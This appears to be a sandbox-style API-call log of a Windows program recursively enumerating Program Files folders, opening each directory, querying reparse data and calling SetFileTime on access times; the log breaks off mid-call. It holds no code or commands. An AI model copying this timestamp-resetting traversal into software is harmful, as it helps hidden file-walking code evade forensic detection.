[0089.184] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x527793d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.184] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11231710, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0089.184] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x557a0300, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x557a0300, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x11348, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTAClientPkg.dll", cAlternateFileName="")) returned 1 [0089.184] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.184] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.184] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.185] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.185] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.185] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.185] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51e67c00, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51e67c00, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x4a548, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTAProject.dll", cAlternateFileName="")) returned 1 [0089.185] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.186] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.186] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.186] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.186] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.186] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.186] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51e67c00, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51e67c00, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x4a548, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTAProject.dll", cAlternateFileName="")) returned 0 [0089.187] GetLastError () returned 0x12 [0089.187] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0089.187] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0089.187] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x527793d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.187] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11231710, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0089.187] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.187] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\1033" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\vsta\\bin\\1033"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11231710, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.188] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\1033" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\vsta\\bin\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0089.188] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0089.188] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0089.188] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0089.189] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0089.189] NtClose (Handle=0x164) returned 0x0 [0089.189] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.189] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.189] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eece8 [0089.189] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0089.190] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.190] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130fd30 [0089.190] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0089.190] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11231710, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.190] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bf09b00, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4bf09b00, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x2b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTAClientPkgUI.dll", cAlternateFileName="")) returned 1 [0089.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.191] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.191] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.192] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.192] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x498e4100, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x498e4100, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x7958, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTAProjectUI.dll", cAlternateFileName="")) returned 1 [0089.192] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.192] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.192] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.193] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.193] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.193] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.193] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x498e4100, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x498e4100, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x7958, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTAProjectUI.dll", cAlternateFileName="")) returned 0 [0089.193] GetLastError () returned 0x12 [0089.193] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0089.193] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0089.194] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11231710, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.194] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bf09b00, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4bf09b00, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x2b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTAClientPkgUI.dll", cAlternateFileName="")) returned 1 [0089.194] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x498e4100, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x498e4100, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x7958, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTAProjectUI.dll", cAlternateFileName="")) returned 1 [0089.194] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x498e4100, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x498e4100, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x7958, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTAProjectUI.dll", cAlternateFileName="")) returned 0 [0089.194] GetLastError () returned 0x12 [0089.194] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x130fd30) returned 1 [0089.194] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0089.194] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eece8) returned 1 [0089.195] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0089.195] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x557a0300, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x557a0300, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x11348, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTAClientPkg.dll", cAlternateFileName="")) returned 1 [0089.195] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51e67c00, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51e67c00, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x4a548, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTAProject.dll", cAlternateFileName="")) returned 1 [0089.195] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51e67c00, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51e67c00, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x4a548, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTAProject.dll", cAlternateFileName="")) returned 0 [0089.195] GetLastError () returned 0x12 [0089.195] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eebd8) returned 1 [0089.195] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0089.195] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eec60) returned 1 [0089.195] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0089.195] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x527793d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bin", cAlternateFileName="")) returned 0 [0089.196] GetLastError () returned 0x12 [0089.196] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee9b8) returned 1 [0089.196] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0089.196] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.196] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee930) returned 1 [0089.196] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1120b5b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTA", cAlternateFileName="")) returned 0 [0089.196] GetLastError () returned 0x12 [0089.197] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0089.197] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0089.197] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0089.197] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0089.197] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f1bbe30, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET", cAlternateFileName="")) returned 1 [0089.197] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0089.198] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET" (normalized: "c:\\program files (x86)\\microsoft.net"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f1bbe30, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.198] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft.NET" (normalized: "c:\\program files (x86)\\microsoft.net"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0089.198] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0089.198] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0089.198] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0089.199] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0089.199] NtClose (Handle=0x16c) returned 0x0 [0089.199] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0089.199] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0089.199] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0089.200] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0089.200] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9100 [0089.200] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f1bbe30, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.200] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5abe1b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Primary Interop Assemblies", cAlternateFileName="")) returned 1 [0089.200] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a491400, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9ea84660, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9ea84660, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="")) returned 1 [0089.200] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a491400, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9ea84660, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9ea84660, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="")) returned 0 [0089.200] GetLastError () returned 0x12 [0089.200] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e91c0 [0089.200] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0089.200] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f1bbe30, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.200] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5abe1b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Primary Interop Assemblies", cAlternateFileName="")) returned 1 [0089.200] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0089.201] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies" (normalized: "c:\\program files (x86)\\microsoft.net\\primary interop assemblies"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5abe1b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.201] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies" (normalized: "c:\\program files (x86)\\microsoft.net\\primary interop assemblies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0089.201] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0089.201] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0089.202] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, 